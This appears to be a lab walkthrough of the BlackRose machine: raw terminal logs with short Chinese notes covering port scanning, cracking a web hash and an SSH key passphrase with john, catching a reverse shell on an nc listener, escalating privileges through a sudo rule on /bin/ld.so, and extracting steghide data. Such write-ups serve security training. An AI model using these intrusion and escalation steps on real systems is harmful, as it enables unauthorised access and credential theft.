PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql
1 2 3 4
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ mysql 192.168.1.21 -u root -p Enter password: ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d1:9b:10:88:15:e9:7a:c4:1a:29:07:3c:21:87:c4:ac (RSA) | 256 e3:50:0b:c9:e8:f1:68:7f:e7:cf:ec:de:7b:b9:20:a1 (ECDSA) |_ 256 55:0e:96:22:cc:50:20:d9:dd:c2:ff:5b:25:d0:d7:2b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: BlackRose |_Requested resource was login.php 3306/tcp open mysql MySQL (unauthorized)
Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. | http-enum: |_ /login.php: Possible admin folder 3306/tcp open mysql
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status whoami (?)
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ sudo nc -lvnp 443 [sudo] password for kali: listening on [any] 443 ... connect to [192.168.1.101] from (UNKNOWN) [192.168.1.21] 51246 bash: cannot set terminal process group (1121): Inappropriate ioctl for device bash: no job control in this shell www-data@BlackRose:/var/www/html$ whoami whoami www-data www-data@BlackRose:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@BlackRose:/var/www/html$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:98:92:98 brd ff:ff:ff:ff:ff:ff inet 192.168.1.21/24 brd 192.168.1.255 scope global enp0s3 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fe98:9298/64 scope link valid_lft forever preferred_lft forever www-data@BlackRose:/var/www/html$ uname -a uname -a Linux BlackRose 4.15.0-69-generic #78-Ubuntu SMP Wed Nov 6 11:30:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux www-data@BlackRose:/var/www/html$ sudo -l sudo -l Matching Defaults entries for www-data on BlackRose: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on BlackRose: (delx : delx) NOPASSWD: /bin/ld.so
sudo -l 感觉得到了有用的信息
gtfobins 中找到了利用手法,
这个内核版本感觉可以内核提权。先信息收集
1 2 3 4 5 6 7 8 9 10 11 12
www-data@BlackRose:/var/www/html$ sudo -u delx /bin/ld.so /bin/bash -p sudo -u delx /bin/ld.so /bin/bash -p whoami delx id uid=1002(delx) gid=1002(delx) groups=1002(delx) ls -alih /home total 16K 1179649 drwxr-xr-x 4 root root 4.0K Nov 9 2019 . 2 drwxr-xr-x 24 root root 4.0K Nov 13 2019 .. 1179652 drwxr-xr-x 6 delx delx 4.0K Dec 5 2019 delx 1183766 drwx------ 5 yourname yourname 4.0K Dec 5 2019 yourname
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ ssh -i id_rsa delx@192.168.1.21 The authenticity of host '192.168.1.21 (192.168.1.21)' can\'t be established. ED25519 key fingerprint is SHA256:wc/f/+tP1y7HbxIJA9NHM2yXxP+Hm+8B/vKQk5XAsT4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.1.21' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa':
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ sudo john sshhash --wordlist=/usr/share/wordlists/rockyou.txt [sudo] password for kali: Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status doggiedog (id_rsa) 1g 0:00:00:00 DONE (2023-10-12 09:44) 11.11g/s 3454Kp/s 3454Kc/s 3454KC/s dolcegabanna..dodgers9 Use the "--show" option to display all of the cracked passwords reliably Session completed.
System information as of Thu Oct 12 13:44:22 UTC 2023
System load: 0.0 Processes: 105 Usage of /: 11.0% of 48.96GB Users logged in: 0 Memory usage: 72% IP address for enp0s3: 192.168.1.21 Swap usage: 0%
201 packages can be updated. 153 updates are security updates.
Last login: Thu Dec 5 21:57:42 2019 from 192.168.1.123
尝试口令是否是此用户的密码
1 2 3 4 5
delx@BlackRose:~$ sudo -l [sudo] password for delx: Sorry, try again. [sudo] password for delx: sudo: 1 incorrect password attempt
并不是。
1 2 3 4 5
delx@BlackRose:~$ gcc --version gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 Copyright (C) 2017 Free Software Foundation, Inc. This is free software; see the sourcefor copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ exiftool background-image.jpg ExifTool Version Number : 12.57 File Name : background-image.jpg Directory : . File Size : 181 kB File Modification Date/Time : 2019:12:05 06:57:08-05:00 File Access Date/Time : 2023:10:12 09:01:47-04:00 File Inode Change Date/Time : 2023:10:12 09:01:47-04:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 300 Y Resolution : 300 Image Width : 960 Image Height : 640 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 960x640 Megapixels : 0.614
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ steghide info background-image.jpg "background-image.jpg": format: jpeg capacity: 10.9 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase!
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ steghide info background-image.jpg "background-image.jpg": format: jpeg capacity: 10.9 KB Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "password": size: 31.0 Byte encrypted: rijndael-128, cbc compressed: yes
┌──(kali㉿kali)-[~/Documents/blackrose] └─$ steghide extract -sf background-image.jpg Enter passphrase: wrote extracted data to "password".